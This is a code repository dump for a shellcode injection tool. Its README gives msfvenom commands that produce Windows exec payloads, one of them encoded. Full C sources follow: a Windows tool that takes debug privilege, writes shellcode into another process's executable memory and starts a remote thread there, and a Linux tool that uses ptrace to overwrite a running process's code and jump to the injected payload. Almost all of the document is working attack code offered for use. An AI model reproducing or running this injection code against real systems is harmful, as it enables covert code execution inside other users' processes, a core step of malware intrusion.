├── inject_linux ├── shellcode_inject.exe ├── shellcode_inject64.exe ├── README.md ├── shellcode_inject.c └── inject_linux.c /inject_linux: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s0i37/shellcode_inject/HEAD/inject_linux -------------------------------------------------------------------------------- /shellcode_inject.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s0i37/shellcode_inject/HEAD/shellcode_inject.exe -------------------------------------------------------------------------------- /shellcode_inject64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s0i37/shellcode_inject/HEAD/shellcode_inject64.exe -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Windows 2 | 3 | ### 32bit 4 | 5 | `\windows\syswow64\cmd.exe` 6 | 7 | `msfvenom -p windows/exec CMD="c:\path\to\prog.exe arg arg" EXITFUNC=thread -e x86/alpha_mixed -f raw -o exec.txt` 8 | 9 | `shellcode_inject.exe PID32 exec.txt` 10 | 11 | ### 64bit 12 | 13 | `msfvenom -p windows/x64/exec CMD="c:\path\to\prog.exe arg arg" EXITFUNC=thread -f raw -o exec.bin` 14 | 15 | `shellcode_inject64.exe PID64 exec.bin` 16 | 17 | ### GPL 18 | -------------------------------------------------------------------------------- /shellcode_inject.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #pragma comment(lib, "advapi32.lib") 7 | 8 | /* 9 | cl /c shellcode_inject.c 10 | link /out:shellcode_inject.exe shellcode_inject.obj advapi32.lib 11 | */ 12 | 13 | #define DWORD unsigned long 14 | #define SHELLCODE_SIZE 1024*1024 15 | 16 | typedef int (*RTLCREATEUSERTHREAD_PTR)(HANDLE,int,int,int,int,int,LPVOID,LPVOID,int,LPWORD *, int); 17 | 18 | 19 | char *GetError() 20 | { 21 | char *errstr; 22 | char *errcode=malloc(4); 23 | memset(errcode,0,4); 24 | sprintf(errcode,"%x",GetLastError()); 25 | FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM,0,GetLastError(),MAKELANGID(LANG_ENGLISH,SUBLANG_ENGLISH_US),&errstr,10,0); 26 | char *str=malloc(strlen(errstr)+strlen(errcode)+4); 27 | strcpy(str,errstr); 28 | strcat(str,"errno 0x"); 29 | strcat(str,errcode); 30 | return str; 31 | } 32 | void get_privileges() 33 | { 34 | HANDLE hProcessToken; 35 | LUID luid; 36 | TOKEN_PRIVILEGES priv; 37 | OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hProcessToken); 38 | LookupPrivilegeValue(NULL, "SeDebugPrivilege", &luid); 39 | priv.PrivilegeCount = 1; 40 | priv.Privileges[0].Luid = luid; 41 | priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 42 | AdjustTokenPrivileges( hProcessToken, FALSE, &priv, sizeof(TOKEN_PRIVILEGES), 0, 0 ); 43 | } 44 | int main( int argc, char *argv[] ) 45 | { 46 | FILE * f; 47 | void * buf; 48 | int PID; 49 | HANDLE hprocess; 50 | LONGLONG addr_exec; 51 | LPWORD threadId; 52 | int i; 53 | 54 | if(argc!=3) 55 | { 56 | printf("%s PID shellcode.bin\n",argv[0]); 57 | return -1; 58 | } 59 | 60 | f = fopen( argv[2], "rb" ); 61 | buf = malloc(SHELLCODE_SIZE); 62 | memset(buf, '\0', SHELLCODE_SIZE); 63 | fread(buf, 1, SHELLCODE_SIZE, f); 64 | fclose(f); 65 | 66 | 67 | PID=atoi(argv[1]); 68 | get_privileges(); 69 | 70 | if(hprocess = OpenProcess(PROCESS_ALL_ACCESS,0,PID)) 71 | printf("process %i opening with all access\n",PID); 72 | else 73 | { 74 | printf("OpenProcess: %s\n",GetError()); 75 | return -1; 76 | } 77 | 78 | if(addr_exec = VirtualAllocEx(hprocess, 0, SHELLCODE_SIZE, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)) 79 | printf("allocation [0x%016X] created\n", addr_exec); 80 | else 81 | { 82 | printf("VirtualAllocEx: %s",GetError()); 83 | return -1; 84 | } 85 | 86 | if( WriteProcessMemory(hprocess, addr_exec, buf, SHELLCODE_SIZE, 0) ) 87 | printf("shellcode written\n"); 88 | else 89 | { 90 | printf("WriteProcessMemory: %s",GetError()); 91 | return -1; 92 | } 93 | 94 | //printf("press any key to run remote thread..."); getchar(); 95 | RTLCREATEUSERTHREAD_PTR RtlCreateUserThread_ptr = (RTLCREATEUSERTHREAD_PTR)GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlCreateUserThread"); 96 | if(RtlCreateUserThread_ptr(hprocess, 0,0,0,0,0, addr_exec, 0,0, &threadId, 0)) 97 | //if(CreateRemoteThread(hprocess, 0,0, addr_exec, 0,0, &threadId)) 98 | printf("remote thread created [0x%X] in %i\n",threadId,PID); 99 | else 100 | { 101 | printf("CreateRemoteThread: %s",GetError()); 102 | return -1; 103 | } 104 | 105 | return 0; 106 | } 107 | -------------------------------------------------------------------------------- /inject_linux.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #define PID_MAX 32768 12 | #define PID_MAX_STR_LENGTH 64 13 | 14 | 15 | // Thanks to https://github.com/W3ndige/linux-process-injection 16 | 17 | const char* shellcode[1024]; 18 | 19 | int get_proc_pid_max() { 20 | FILE *pid_max_file = fopen("/proc/sys/kernel/pid_max", "r"); 21 | 22 | if (pid_max_file == NULL) { 23 | fprintf(stderr, "Could not find proc/sys/kernel/pid_max file. " 24 | "Using default.\n"); 25 | 26 | return PID_MAX; 27 | } 28 | 29 | char *pid_max_buffer = malloc(PID_MAX_STR_LENGTH * sizeof(char)); 30 | if (fgets(pid_max_buffer, PID_MAX_STR_LENGTH * sizeof(char), pid_max_file) == NULL) { 31 | fprintf(stderr, "Could not read from /proc/sys/kernel/pid_max file " 32 | "Using default.\n"); 33 | 34 | fclose(pid_max_file); 35 | free(pid_max_buffer); 36 | return PID_MAX; 37 | } 38 | 39 | long pid_max = strtol(pid_max_buffer, (char **)NULL, 10); 40 | if (pid_max == 0) { 41 | fprintf(stderr, "Could not parse /proc/sys/kernel/pid_max value. " 42 | "Not a number. Uisng default.\n"); 43 | pid_max = PID_MAX; 44 | } 45 | 46 | free(pid_max_buffer); 47 | fclose(pid_max_file); 48 | return pid_max; 49 | } 50 | 51 | char *get_permissions_from_line(char *line) { 52 | int first_space = -1; 53 | int second_space = -1; 54 | for (size_t i = 0; i < strlen(line); i++) { 55 | if (line[i] == ' ' && first_space == -1) { 56 | first_space = i + 1; 57 | } 58 | else if (line[i] == ' ' && first_space != -1) { 59 | second_space = i; 60 | break; 61 | } 62 | } 63 | 64 | if (first_space != -1 && second_space != -1 && second_space > first_space) { 65 | char *permissions = malloc(second_space - first_space + 1); 66 | if (permissions == NULL) { 67 | fprintf(stderr, "Could not allocate memory. Aborting.\n"); 68 | return NULL; 69 | } 70 | for (size_t i = first_space, j = 0; i < (size_t)second_space; i++, j++) { 71 | permissions[j] = line[i]; 72 | } 73 | permissions[second_space - first_space] = '\0'; 74 | return permissions; 75 | } 76 | return NULL; 77 | 78 | } 79 | 80 | long get_address_from_line(char *line) { 81 | int address_last_occurance_index = -1; 82 | for (size_t i = 0; i < strlen(line); i++) { 83 | if (line[i] == '-') { 84 | address_last_occurance_index = i; 85 | } 86 | } 87 | 88 | if (address_last_occurance_index == -1) { 89 | fprintf(stderr, "Could not parse address from line '%s'. Aborting.\n", line); 90 | return -1; 91 | } 92 | 93 | char *address_line = malloc(address_last_occurance_index + 1); 94 | if (address_line == NULL) { 95 | fprintf(stderr, "Could not allocate memory. Aborting.\n"); 96 | return -1; 97 | } 98 | 99 | for (size_t i = 0; i < (size_t)address_last_occurance_index; i++) { 100 | 101 | address_line[i] = line[i]; 102 | } 103 | 104 | address_line[address_last_occurance_index] = '\0'; 105 | long address = strtol(address_line, (char **) NULL, 16); 106 | return address; 107 | } 108 | 109 | long parse_maps_file(long victim_pid) { 110 | size_t maps_file_name_length = PID_MAX_STR_LENGTH + 12; 111 | char *maps_file_name = malloc(maps_file_name_length); 112 | if (snprintf(maps_file_name, maps_file_name_length, "/proc/%ld/maps", victim_pid) < 0) { 113 | fprintf(stderr, "Could not use snprintf: %s", strerror(errno)); 114 | return -1; 115 | } 116 | 117 | FILE *maps_file = fopen(maps_file_name, "r"); 118 | if (maps_file == NULL) { 119 | fprintf(stderr, "Could not open %s file. Aborting.\n", maps_file_name); 120 | return -1; 121 | } 122 | 123 | char *maps_line = NULL; 124 | size_t maps_line_length = 0; 125 | while (getline(&maps_line, &maps_line_length, maps_file) != -1) { 126 | char *permissions = get_permissions_from_line(maps_line); 127 | 128 | if (permissions == NULL) { 129 | continue; 130 | } else if (strncmp("r-xp", permissions, 4) == 0) { 131 | fprintf(stdout, "[*] Found section mapped with %s permissions.\n", permissions); 132 | free(permissions); 133 | break; 134 | } 135 | free(permissions); 136 | } 137 | 138 | 139 | long address = get_address_from_line(maps_line); 140 | 141 | free(maps_line); 142 | 143 | return address; 144 | } 145 | 146 | 147 | int main(int argc, const char *argv[]) { 148 | if (argc < 2) { 149 | fprintf(stderr, "Usage:\n\t./inject PID shellcode.bin\n\n" 150 | "\tPID - PID of the process to inject code.\n"); 151 | exit(EXIT_FAILURE); 152 | } 153 | 154 | long victim_pid = strtol(argv[1], (char **) NULL, 10); 155 | FILE* f = fopen(argv[2], "rb"); 156 | fread(shellcode, 1024, 1, f); 157 | fclose(f); 158 | long pid_max = get_proc_pid_max(); 159 | 160 | if (victim_pid == 0 || victim_pid > pid_max) { 161 | fprintf(stderr, "Argument not a valid number. Aborting.\n"); 162 | exit(EXIT_FAILURE); 163 | } 164 | 165 | 166 | // Attach to the victim process. 167 | if (ptrace(PTRACE_ATTACH, victim_pid, NULL, NULL) < 0) { 168 | fprintf(stderr, "Failed to PTRACE_ATTACH: %s\n", strerror(errno)); 169 | exit(EXIT_FAILURE); 170 | } 171 | wait(NULL); 172 | 173 | fprintf(stdout, "[*] Attach to the process with PID %ld.\n", victim_pid); 174 | 175 | // Save old register state. 176 | struct user_regs_struct old_regs; 177 | if (ptrace(PTRACE_GETREGS, victim_pid, NULL, &old_regs) < 0) { 178 | fprintf(stderr, "Failed to PTRACE_GETREGS: %s\n", strerror(errno)); 179 | exit(EXIT_FAILURE); 180 | } 181 | 182 | long address = parse_maps_file(victim_pid); 183 | 184 | size_t payload_size = strlen(shellcode); 185 | uint64_t *payload = (uint64_t *)shellcode; 186 | 187 | fprintf(stdout, "[*] Injecting payload at address 0x%lx.\n", address); 188 | for (size_t i = 0; i < payload_size; i += 8, payload++) { 189 | if (ptrace(PTRACE_POKETEXT, victim_pid, address + i, *payload) < 0) { 190 | fprintf(stderr, "Failed to PTRACE_POKETEXT: %s\n", strerror(errno)); 191 | exit(EXIT_FAILURE); 192 | } 193 | } 194 | 195 | 196 | fprintf(stdout, "[*] Jumping to the injected code.\n"); 197 | struct user_regs_struct regs; 198 | memcpy(®s, &old_regs, sizeof(struct user_regs_struct)); 199 | regs.rip = address; 200 | 201 | if (ptrace(PTRACE_SETREGS, victim_pid, NULL, ®s) < 0) { 202 | fprintf(stderr, "Failed to PTRACE_SETREGS: %s. \n", strerror(errno)); 203 | exit(EXIT_FAILURE); 204 | } 205 | 206 | if (ptrace(PTRACE_CONT, victim_pid, NULL, NULL) < 0) { 207 | fprintf(stderr, "Failed to PTRACE_CONT: %s. \n", strerror(errno)); 208 | exit(EXIT_FAILURE); 209 | } 210 | 211 | fprintf(stdout, "[*] Sucessfuly injected and jumped to the code.\n"); 212 | 213 | return 0; 214 | } 215 | 216 | --------------------------------------------------------------------------------